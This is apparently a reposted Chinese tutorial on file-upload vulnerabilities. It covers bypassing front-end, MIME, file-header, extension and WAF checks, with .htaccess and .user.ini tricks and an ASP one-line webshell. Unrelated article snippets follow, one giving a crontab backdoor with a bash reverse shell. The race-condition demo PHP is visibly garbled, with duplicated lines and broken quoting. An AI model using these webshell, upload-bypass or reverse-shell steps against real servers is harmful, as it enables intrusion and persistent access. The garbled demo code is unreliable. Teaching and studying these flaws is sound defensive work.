Web攻防基础篇-文件上传漏洞

news2024/11/19 4:21:06

文件解析安全问题上,格式解析是一对一的(不能jpg解析php),换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析。

文件上传漏洞

程序或系统未对上传文件作全面的限制,导致用户可以上传某些非法文件(木马,webshell,病毒等)

6b6b4b59dbc4647d0d3f221d1b4dadb2.png

漏洞点分析

1、前端JS验证漏洞

前端验证判断(笨办法):首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了。

绕过方法:

以正确规则上传文件,Bp截包更改后发送。

关闭浏览器JavaScript功能

2、.htaccess(分布式配置文件)

.htaccess文件是apache的分布式配置文件。他负责相关目录下的网页配置,可以帮我们实现:网页301重定向,自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、封禁特定IP地址的用户,只允许特定IP地址的用户,以及使用其他文件作为index文件配置默认文档等功能。

htaccess文件按照查找顺序依次生效,子目录会覆盖父目录目录或者主配置文件中的指令。

绕过方法:

1.匹配文件名为“shell”的文件,该文件作为可执行程序解析

<FilesMatch "shell">

SetHandler application/x-httpd-php

</FilesMatch>

2.jpg文件作为可执行程序执行

<FilesMatch "shell">

AddType application/x-httpd-php .jpg

</FilesMatch>

同理得 .user.ini 【只要是以 fastcgi 运行的php都可以使用这种方法】,如果某网站不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。

da6072a89f14b5b438db5689b80bcc97.png

简单来说,PHP会从当前目录往上一直到根目录扫描INI文件,默认每300s扫描.user.ini并重新加载。

绕过方法:

auto_prepend_file 在页面顶部加载文件

auto_prepend_file 在页面底部加载文件

#两者没啥大的区别,一个在页面上方显示,应该在页面下方显示

也就是说若当前目录存在一个正常的php文件,一个.user.ini文件,一个随便什么php文件,如果.user.ini中写了

auto_prepend_file=xxx.xxx

那么这个正常的php文件就会去自动包含xxx.xxx从而达到getshell的目的。

3、MIME类型

正常上传文件会在数据包中看见一个字段用来定义所上传的文件是什么类型【Content-Type】

94d1dc0ab92a0af3e77976d34e78dc7e.png

绕过方法:、

如果服务器后端对此MIME头进行检测,为“image/jpeg”"image/png" "image/gif"则验证通过可以上传,那么可以通过替换为正常上传文件的MIME头来达到规避检查的效果。

常见的文件上传类型的:

text/plain(纯文本)
text/html(HTML文档)
text/javascript(js代码)
application/xhtml+xml(XHTML文档)
image/gif(GIF图像)
image/jpeg(JPEG图像)
image/png(PNG图像)
video/mpeg(MPEG动画)
application/octet-stream(二进制数据)
application/pdf(PDF文档)
application/(编程语言) 该种语言的代码
application/x-www-form-urlencoded(POST方法提交的表单)
multipart/form-data(POST提交时伴随文件上传的表单)
4、文件头\文件尾判断

不同文件格式具有不同的文件头部部分也有文件尾特征,可以通过16进制进行判断,通常来说常见的文件头尾例如:

11a5de143bb4f212fc193189ed4c4597.png

通过对上传文件的文件头十六进制进行判断,也可验证其是否合法。伪装方法可以直接以16进制进行更改。

5、黑名单拓展名绕过

(1)拓展名列表可能过滤不严格,存在漏网之鱼——比如iis 6.0中的asa和cer

(2)大小写绕过——iis 6.0 中的aSp和linux环境中php小于5.3版本的pHp

(3)能被Web容器解析的文件例如:

jsp,jspx,jspf,asp,asa,cer,cdx,htr,xml,html,aspx,ashx,asmx,asax,ascx等

(4)特殊后缀名绕过

将Burpsuite截获的数据包中php名字改为php4(php1,php2,php3,php4,php5),前提条件是http.conf中设置 AddType application/x-httpd-php .php1(php的版本小于等于5.3.29以下)

(5)利用操作系统文件命令的特性

在windows系统下,如果文件名以“.”或者空格作为结尾,系统会自动删除“.”与空格,利用此特性也可以绕过黑名单验证。apache中可以利用点结尾和空格绕过,asp和aspx中可以用空格绕过。

同时在文件名后加上 ::$DATA 之后的数据会被当做数据流过滤掉,同样可以作为绕过方法。

(6)若对后缀名的过滤方法为:将黑名单中的非法字符过滤为空,利用其逻辑漏洞可以通过双写绕过。

6、白名单绕过

(1)配合Web框架解析漏洞

1、IIS6/7·在IIS6.0下存在这样的文件“名字.asp;名字.jpg”代表了jpg文件可以以asp脚本类型的文件执行。asp一句话木马(<%eval request ("pass")%>)·以“xxx.asp”的文件夹里面,里面的文件会以asp脚本运行。

2、Apache解析漏洞--低版本遇到不识别的后缀名,向前解析Apache1.x/2.x解析漏洞,Apache从右向左解析文件,如果不认识就向左挪,比如1.php.abc是个的文件, abc类型的apache不认识,因此就会被解析为php文件,相当于1.php。

(2)%00截断上传绕过

通过抓包截断将 1.asp.jpg 后面的一个.换成%00在上传的时候即1.asp%00jpg,当文件系统读到%00时,会认为文件已经结束,从而1.asp%00jpg的内容写入到1.asp中,从而达到攻击的目的。%00不是针对所有基于白名单的后缀名检查都能绕过,代码的实现过程中必须存在截断上传漏洞。

7、条件竞争上传绕过

此漏洞是个逻辑漏洞,原理就相当于不能成功删除一个已经打开的文件。

演示代码:

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES[''file][''tmp_name],$path.$filename)){
die(""error:can not move);
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success";
if($_FILES['file']['error']>0){
unlink($newfile);
die(""Upload file error: );
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
die('error');
}
?>

这段代码功能首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉。利用思路首先上传一个php后门文件,同时当然这个文件会被立马删掉,但我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就不会被删除。

八、编辑器漏洞

(这没法链接pdf,手册地址“https://navisec.it/编辑器漏洞手册”,需要可私聊)

九、WAF文件上传绕过

(1)垃圾数据填充

考虑到攻防收益,有些主机waf为不影响服务器性能,会对校验的用户数据设置一个上限。如果此时我们构建一个较大的文件,将前面上限数据都为垃圾数据,攻击payload放在后面,那么便可以绕过waf对文件内容的校验。

Content-Type类型数据后添加垃圾数据

上传文件头部添加——绕过对文件名的校验

Content-Disposition:后添加垃圾数据

(2)filename绕过

此方法可以针对早期的安全狗,主要是因为waf解析和协议解析两者不匹配同步的问题。协议会将最后的filename值作为文件名,而waf可能会将第一次解析到的filename作为文件名进行检查。所以当filename1为一个正常的文件名,filename2为可执行解析的文件名,waf并不会检测出问题。

(3)POST与GET方法绕过

有些waf对于文件上传单纯检测以post方法上传的数据包内容,若将post型数据包改为Get,则可以实现绕过。

(4)exee扩展名绕过

上传.exe文件通常会被waf拦截,如果使用各种特性无用的话,那么可以把扩展名改为.exee再进行上传。

(5)单双引号互换绕过

总之waf的绕过方法总的来说可以总结为:

数据溢出

符号变异

数据截断

重复数据

四大类,当然各种奇淫巧技的姿势很多,还得不断总结。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1882238.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

景区气象站:旅游安全与舒适体验的守护者

在旅游行业蓬勃发展的今天&#xff0c;越来越多的游客选择走出家门&#xff0c;探索世界的每一个角落。然而&#xff0c;旅游不仅仅是欣赏美景、体验文化&#xff0c;更是对未知的探索和对安全的追求。在这一过程中&#xff0c;景区气象站作为旅游安全与舒适体验的守护者&#…

秋招突击——6/30——{爬楼梯、杨辉三角、打家劫舍、完全平方数}

文章目录 引言新作爬楼梯个人实现参考实现 杨辉三角个人实现参考实现 打家劫舍个人实现参考实现 完全平方数个人实现参考实现 总结 引言 回家以来&#xff0c;和朋友的聚会暂时告一段落了&#xff0c;后面就准备闭关&#xff0c;继续准备秋招了&#xff0c;不能在浪费时间了。…

windosw下宝塔面板mysql无法使用的问题

先了解一下什么是wsl1和wsl2 WSL 1:WSL 1 使用的是一个兼容层,通过翻译 Linux 系统调用,使其能够在 Windows 内核上运行。这种方法的性能较好,但并不能完全兼容所有的 Linux 功能。WSL 2:WSL 2 通过使用真正的 Linux 内核在轻量级虚拟机 (VM) 中运行 Linux,这使得它能更好…

玛格家居从深交所转板北交所:营收净利润连年下滑,销售费用大增

《港湾商业观察》施子夫 近日&#xff0c;玛格家居股份有限公司&#xff08;以下简称&#xff0c;玛格家居&#xff09;发布公告&#xff0c;重庆证监局已经受理其北交所上市的备案申请&#xff0c;辅导机构为国泰君安证券。 公开信息显示&#xff0c;2022年1月&#xff0c;玛…

3.js - premultiplyAlpha

你瞅啥啊&#xff01;&#xff01;&#xff01; 先看效果图吧 代码 // ts-nocheck // 引入three.js import * as THREE from three // 导入轨道控制器 import { OrbitControls } from three/examples/jsm/controls/OrbitControls // 导入lil.gui import { GUI } from three/ex…

qt打包生成的.exe 桌面快捷键图标模糊/有锯齿

图标使用的是ico文件,如果你的ico里面只有一个尺寸的.png图片,那么qt打包好的exe快捷键图标就会模糊/有锯齿 1.IcoFX图标编辑v3.8.0 便携版 下载地址: http://www.xz7.com/downinfo/547373.html 这个支持中文 2.准备一个256x256的png图标 3.操作流程 然后另存为ico格式即可

stm32学习笔记---DMA直接存储器存取(代码部分)DMA数据转运/DMA+AD多通道

目录 第一个代码&#xff1a;DMA数据转运 扩展知识 DMA的配置步骤 DMA的库函数 DMA_DeInit DMA初始化和DMA结构体初始化函数 DMA_Cmd DMA_ITConfig DMA_SetCurrDataCounter DMA_GetCurrDataCounter 四个获取标志位状态函数 代码实现 MyDMA.c 第一步&#xff0c;开…

权限维持-Linux-定时任务-Crontab后门

目录 靶机编辑后门反弹 靶机添加定时任务 攻击机监听 靶机编辑后门反弹 vim /etc/.xiaodi.sh --创建文件bash -i >& /dev/tcp/IP/998 0>&1 --反弹代码chmod x /etc/.xiaodi.sh --给执行权限 靶机添加定时任务 vim /etc/crontab */1 * * * * r…

10亿数据如何最快速插入MySQL?

最快的速度把10亿条数据导入到数据库&#xff0c;首先需要明确一下&#xff0c;10亿条数据什么形式存在哪里&#xff0c;每条数据多大&#xff0c;是否有序导入&#xff0c;是否不能重复&#xff0c;数据库是否是MySQL&#xff1f; 假设和面试官明确后&#xff0c;有如下约束 …

40、 防火墙--博客

40、防火墙 一、防火墙 1.1、备份防火墙规则 1、iptables的配置文件 /etc/sysconfig/iptables2、创建临时规则&#xff0c;save到备份文件&#xff0c;再清空规则&#xff0c;用cat备份文件到配置文件。利用重定向写入。 备份文件iptables-save >/opt/iptables.bak 备…

idk17配置

只需要把zip包解压&#xff0c;然后配置环境变量&#xff1a; bin目录路径粘到path里面就好了 然后打开cmd窗口分别输入 java javac java -version 验证

无人机的起源

无人机起源于20世纪初的早期实验阶段&#xff0c;并随着技术进步逐步发展。无人机&#xff0c;作为现代科技领域中的一项重要创新&#xff0c;已经在全球范围内展现出其巨大的潜力和应用价值。 无人机的历史可以追溯到1917年&#xff0c;美国人艾德温.奥斯特林发明了“飞行训练…

免费分享:中国十年度及361个城市平均NDVI值统计数据集(附下载方法)

中分辨率成像光谱仪(MODerate-resolution Imaging Spectroradiometer)-MODIS是Terra和Aqua卫星上搭载的主要传感器之一&#xff0c;MODIS 数据有 36 个光谱波段&#xff0c;1-2 天可覆盖地球表面一次&#xff0c;数据从2000年4月开始向全球免费分发数据。 GIMMS&#xff08;gl…

什么是代理IP节点?它又是如何工作的?

代理IP节点是指在网络通信中充当中间角色的设备或服务器&#xff0c;它扮演着信息中转站的角色&#xff0c;用于转发网络请求和响应。代理IP节点的设置可以实现多种功能&#xff0c;包括但不限于访问控制、加密通信、提高安全性、负载均衡等。今天IPIDEA代理IP就带大家详细了解…

使用StarWind软件做P2V转换

近期有个项目要将一个老的Win7还有XP 32位版本转换为虚拟机。先后用了StarWind&#xff0c;Vmwared的vcenter conerter&#xff0c;还有disk2vhd软件工具。本文介绍下StarWind的使用和一些优势。 其实转换过程很简单&#xff0c;难度是转换以后的虚机无法正常启动。对于虚机的…

万界星空科技服装行业MES系统解决方案

据调查&#xff0c;我国大多数服装厂目前存在两大问题&#xff1a; 第一&#xff0c;是生产设备先进&#xff0c;但管理模式落后&#xff0c;仍采用手工管理模式&#xff0c;未实现信息化&#xff1b; 第二&#xff0c;仍有大量的人工站&#xff0c;短时间内难以用设备代替&a…

web平台—apache

web平台—apache 1. 学apache前需要知道的知识点2. apache详解2.1 概述2.2 工作模式2.3 启动apache网站整体流程2.4 相关文件保存位置2.5 配置文件详解 3. apache配置实验实验1&#xff1a;设置apache的目录别名实验2&#xff1a;apache的用户认证实验3&#xff1a;虚拟主机 (重…

网络安全等级保护2.0(等保2.0)全面解析

一、等保2.0的定义和背景 网络安全等级保护2.0&#xff08;简称“等保2.0”&#xff09;是我国网络安全领域的基本制度、基本策略、基本方法。它是在《中华人民共和国网络安全法》指导下&#xff0c;对我国网络安全等级保护制度进行的重大升级。等保2.0的发布与实施&#xff0c…

【网络专用语解释】arp协议

ARP协议 是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机&#xff0c;并接收返回消息&#xff0c;以此确定目标的物理地址&#xff1b;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间&am…

基于STM32的智能门锁控制系统

目录 引言环境准备智能门锁控制系统基础代码实现&#xff1a;实现智能门锁控制系统 4.1 数据采集模块4.2 数据处理与分析4.3 控制系统实现4.4 用户界面与数据可视化应用场景&#xff1a;门锁管理与优化问题解决方案与优化收尾与总结 1. 引言 智能门锁控制系统通过使用STM32嵌…